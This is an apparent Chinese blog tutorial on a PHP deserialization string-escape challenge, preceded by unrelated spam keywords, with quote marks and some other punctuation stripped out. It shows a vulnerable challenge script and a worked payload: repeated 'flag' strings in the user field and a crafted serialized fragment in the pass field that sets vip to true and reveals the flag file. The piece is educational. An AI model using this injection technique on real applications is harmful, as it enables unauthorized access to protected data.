专做蓝领的网站,网站建设合同服务事项,广州最穷的区是哪个区,设计制作网站板面这里承接上篇文章反序列化字符串逃逸#xff08;上篇#xff09;-CSDN博客带大家学习反序列化字符串逃逸减少#xff0c;没有看过的可以先去看看#xff0c;不会吃亏。
例题#xff1a;
?php highlight_file(__FILE__); error_reporting(0); function filter($name…这里承接上篇文章反序列化字符串逃逸上篇-CSDN博客带大家学习反序列化字符串逃逸减少没有看过的可以先去看看不会吃亏。
例题
?php highlight_file(__FILE__); error_reporting(0); function filter($name){ $safearray(flag,php); $namestr_replace($safe,hk,$name); return $name; } class test{ var $user; var $pass; var $vip false ; function __construct($user,$pass){ $this-user$user; $this-pass$pass; } } $param$_GET[user]; $pass$_GET[pass]; $paramserialize(new test($param,$pass)); $profileunserialize(filter($param)); if ($profile-vip){ echo file_get_contents(flag.php); } ?
还是那个熟悉的三步法
第一步先把类写下来正常进行一个反序列化。
这里我先给user,pass随便赋一个值进行反序列化如下图
?php
class test{var $user flag;var $pass benben;var $viptrue;
}
echo serialize(new test());
O:4:test:3:{s:4:user;s:4:flag;s:4:pass;s:6:benben;s:3:vip;b:1;} 第二步如果变少则判断吃掉的内容。(吃第一个字符串提交到第二个字符串中间的的这个功能性代码”
//在这里flag被替换成hk字符串减少会吃掉后面的结构代码
吃完s:4:pass;s:6就代表 var $pass benben这里的benben是可控的;我的目标代码是s:3:vip;b:1;}也就是说我要逃逸这个所以我要把benben变成s:4:pass;s:6benben;s:3:vip;b:1;}接下来只要识别到;}这个地方就会反序列化结束后面的s:3:vip;b:1;}自然逃逸成功
O:4:test:3:{s:4:user;s:4:flag;s:4:pass;s:6:benben;s:3:vip;b:1;}
s:4:pass;s:xx这里会被吃掉一共19个字符flag被替换成hk一次搞定两位必须至少吃10次
多吃的1加上去就好了。中间要吃掉的变成;s:4:pass;s:xx:1为什么是;s:xx呢由于benben变了但是我知道肯定是两位数字符后面的s:3:vip;b:1;}不需要管只需要数出s:4:pass;s:xx这里会被吃掉一共19个字符就好
第三步算出要逃逸的次数进行复制输出
这里复制10个flag
即userflagflagflagflagflagflagflagflagflagflag
pass1;s:4:pass;s:6:benben;s:3:vip;b:1;}
接下来就可以拿到flag
希望大家能够有所收获本文是反序列化字符串逃逸上篇-CSDN博客的下文如果觉得不错可以把上下篇看完真心希望我的文章能够帮助大家